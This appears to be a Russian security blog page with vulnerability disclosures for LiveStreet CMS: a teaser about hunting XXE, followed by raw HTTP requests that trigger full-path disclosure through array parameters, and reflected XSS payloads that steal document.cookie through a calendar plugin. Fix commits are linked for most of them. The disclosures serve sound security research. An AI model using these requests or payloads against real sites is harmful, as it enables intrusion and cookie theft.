+9.10
Рейтинг
14.13
Сила

Игорь

История одной пятницы... в картинках

Всё началось с того, что захотелось найти XXE (XML eXternal Entity).
Атака заключается в том, что парсер небезопасно разрешает XML-сущности(entity) определённые клиентом. Данную уязвимость можно использовать как для XSS, чтения базы данных(SQL-inject), обхода аутентификации, чтения произвольных фаилов в системе(/etc/passwwd) или запрос внешнего ресурса по URI (протоколы ftp http https, функциями php и другими).

Пояснение:
символ (плюс) + в urlencode = %2B
символ (слеш) / в urlencode = %2F
символ (обратный слеш) \ в urlencode = %5C

Глаза пали на RSS. Открываем то, что генерирует XML:

Читать дальше →

LiveStreet 1.0 Раскрытие директории

в параметре order и order_way
GET /blogs/?order[]=blog_title&order_way=desc 
GET /blogs/?order=blog_title&order_way[]=desc 


выводит:
Warning: Illegal offset type in /var/www/localhost.ru/data/www/localhost.ru/classes/actions/ActionBlogs.class.php on line 112

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /var/www/localhost.ru/data/www/localhost.ru/classes/actions/ActionBlogs.class.php on line 123


фикс:
github.com/HiMiC/livestreet/commit/e22aaae9b9c52fbe65ba8274ce4c4a92161c65d5

-----------------------------

при передаче второго параметра в виде массива
GET /engine/lib/external/kcaptcha/index.php?n[]=0.09490613568159461&PHPSESSID=1b66bc0836fd464122a4c319d7788c56


выводит:
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/localhost.ru/data/www/localhost.ru/engine/lib/external/kcaptcha/index.php on line 36

....


фикс: github.com/HiMiC/livestreet/commit/ad48721b13034feeaa6bb06b5328aaf3b1c36c7a

-----------------------------

в параметре order и order_way
GET /people/?order[]=user_skill&order_way=desc


выводит:
Warning: Illegal offset type in /var/www/localhost_ru/data/www/localhost.ru/classes/actions/ActionPeople.class.php on line 258

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /var/www/localhost_ru/data/www/localhost.ru/classes/actions/ActionPeople.class.php on line 274


фикс: github.com/HiMiC/livestreet/commit/097c712618790fda4f0e5d03be6e25cae20e6cde

-----------------------------

POST /ajax/infobox/info/blog/ HTTP/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=1b66bc0836fd464122a4c319d7788c56
Host: localhost.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.00
Accept: */*

iBlogId[]=6&security_ls_key=9ed1708e04301ba2818833df02dda3c3


выводит:
<br />
<b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/www/localhost.ru/data/www/localhost.ru/classes/modules/blog/Blog.class.php</b> on line <b>241</b><br />
{"sMsgTitle":null,"sMsg":"\u0421\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u0435 \u043f\u043e\u0437\u0436\u0435","bStateError":true}


фикс: пока нету

-----------------------------

Плагин openid
POST /login/openid/enter/ HTTP/1.1
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=1b66bc0836fd464122a4c319d7788c56
Host: localhost.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.00
Accept: */*

open_login[]=openid.yandex.ru&return=&submit_open_login=go


выводит:
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/localhost_ru/data/www/localhost.ru/plugins/openid/classes/lib/external/php-openid-2.1.3/Auth/Yadis/HTTPFetcher.php on line 102

Warning: strpos() expects parameter 1 to be string, array given in /var/www/localhost_ru/data/www/localhost.ru/plugins/openid/classes/lib/external/php-openid-2.1.3/Auth/Yadis/Misc.php on line 56


фикс: пока нету
-----------------------------

ort проверь фиксы

LiveStreet CMS - Cross Site Scripting, раскрытие директории

Cross Site Scripting

/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php
POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=8223940c4012g3bbcffe59d6f2b7637g; _metrika_enabled=
Host: blog.himic.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

ts=%22%20BACKGROUND%3djavascript:alert%28document.cookie%29%20bad%3d%22


/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/year.php
POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/year.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bf1cae225f719d74d2086cg0a9394ad1
Host: SITEHOST.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

ts=%22%20BACKGROUND%3djavascript:alert%28document.cookie%29%20bad%3d%22


Раскрытие директории:

Ошибка происходит из-за переменной key в Cookies, при создании её как массива key[] вылазит ошибка
GET /index.php HTTP/1.1
Cookie: PHPSESSID=8223940c401233bgcffe59d6f2b7637d; key[]=8223940c401233bbcffe59d6f2b7637g; _metrika_enabled=
Host: SITEHOST.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*



Раскрытие:
/home/webmaster/www/SITEHOST.com/www/classes/modules/user/mapper/User.mapper.class.php line 71


PS: blog.himic.ru/blog/security/162.html

UPD1: исправлено github.com/livestreet/livestreet/commit/a5b7cd5979a9a20fe100a5cd1a748603b1159680